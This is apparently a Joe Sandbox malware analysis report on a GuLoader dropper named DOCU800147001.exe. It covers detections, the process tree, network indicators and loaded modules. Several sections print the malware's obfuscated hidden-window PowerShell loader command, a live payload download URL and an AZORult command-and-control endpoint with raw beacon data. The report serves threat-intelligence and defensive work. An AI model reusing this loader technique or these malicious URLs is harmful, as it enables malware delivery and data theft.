Edit tour

Windows Analysis Report
DOCU800147001.exe

Overview

General Information

Sample name:	DOCU800147001.exe
Analysis ID:	1592041
MD5:	ab99e49a4471901468bbbd9ccf228de0
SHA1:	2b7302e1b24a9994e2924e97e627c1f5de23eaaa
SHA256:	8f856e9882d312f6a51f265796c6a68c1914d1c51c59fc1964484fa5ac130f34
Tags:	exeuser-threatinte1
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Early bird code injection technique detected

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

DOCU800147001.exe (PID: 364 cmdline: "C:\Users\user\Desktop\DOCU800147001.exe" MD5: AB99E49A4471901468BBBD9CCF228DE0)

powershell.exe (PID: 5664 cmdline: powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 1944 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2613773694.0000000005D6B000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.2547628074.000000000B13B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 107.151.162.135, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 1944, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 52399

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5664, TargetFilename: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) ", CommandLine: powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) ", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\DOCU800147001.exe", ParentImage: C:\Users\user\Desktop\DOCU800147001.exe, ParentProcessId: 364, ParentProcessName: DOCU800147001.exe, ProcessCommandLine: powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) ", ProcessId: 5664, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T17:37:49.965763+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.6	52410	104.21.32.1	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T17:37:49.965763+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.6	52410	104.21.32.1	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T17:37:48.886834+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	52399	107.151.162.135	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://b2csa.icu/PL341/index.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe

ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: DOCU800147001.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: DOCU800147001.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source:	Binary string: indows\System.Core.pdb@ source: powershell.exe, 00000002.00000002.2546703492.0000000008384000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbssio source: powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.2546703492.0000000008384000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_00405E7E FindFirstFileA,FindClose,	0_2_00405E7E
Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_0040543A GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040543A
Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_00402647 FindFirstFileA,	0_2_00402647

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.6:52410 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.6:52410 -> 104.21.32.1:80

Source: global traffic

TCP traffic: 192.168.2.6:52234 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:52399 -> 107.151.162.135:80

Source: global traffic	HTTP traffic detected: GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: electricsuitcase.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: b2csa.icuContent-Length: 111Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 9a 26 66 9d 45 70 9d 36 70 9d 34 10 8b 30 63 8b 30 6c 8b 31 11 e8 47 70 9d 35 13 8b 30 64 8b 30 61 8b 30 6d eb Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fEp6p40c0l1Gp50d0a0m

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: electricsuitcase.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: electricsuitcase.net
Source: global traffic	DNS traffic detected: DNS query: b2csa.icu

Source: unknown

HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: b2csa.icuContent-Length: 111Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 9a 26 66 9d 45 70 9d 36 70 9d 34 10 8b 30 63 8b 30 6c 8b 31 11 e8 47 70 9d 35 13 8b 30 64 8b 30 61 8b 30 6d eb Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fEp6p40c0l1Gp50d0a0m

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 15 Jan 2025 16:37:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTVYzcncbwZN93Zokk1tNPrNLZiYYMYKHAu2EIUPoeNNWthLUFPlwVBGThHp%2FyMTu5eqdNVYBd1rh5anhsst%2FckwQuqqF4dAP3ZVKtDqn3jU6%2B6t3qsGTbUbAwE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 90274aeafed88ce6-EWRData Raw: 31 31 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 Data Ascii: 11d0<!DOCTYPE html> <html class="no-js" lang="en-US"> <head><title>Suspected phishing site | C

Source: msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2616759739.00000000069DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/
Source: msiexec.exe, 00000008.00000002.2616759739.00000000069DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/P5
Source: msiexec.exe, 00000008.00000003.2613392527.00000000220F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.php
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.phpFv
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.phpVVWT
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.phpal
Source: msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.phpj
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/m32
Source: powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: msiexec.exe, 00000008.00000002.2616759739.00000000069DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin2
Source: DOCU800147001.exe, DOCU800147001.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: DOCU800147001.exe, DOCU800147001.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2527630104.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2527630104.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_00404FA3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FA3

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe

Jump to dropped file

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_004030CB EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030CB

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_004047E2

0_2_004047E2

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll CD8496A3802378391EC425DEC424A14F5D30E242F192EC4EB022D767F9A2480F

Source: DOCU800147001.exe

Static PE information: invalid certificate

Source: DOCU800147001.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/15@2/2

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_004042A6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004042A6

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Users\user\Desktop\DOCU800147001.exe

File created: C:\Users\user\AppData\Local\Ramtils

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7A741079-43F57E69-FD6F148E

Source: C:\Users\user\Desktop\DOCU800147001.exe

File created: C:\Users\user\AppData\Local\Temp\nsw530.tmp

Jump to behavior

Source: DOCU800147001.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\DOCU800147001.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DOCU800147001.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\DOCU800147001.exe

File read: C:\Users\user\Desktop\DOCU800147001.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DOCU800147001.exe "C:\Users\user\Desktop\DOCU800147001.exe"
Source: C:\Users\user\Desktop\DOCU800147001.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\DOCU800147001.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOCU800147001.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
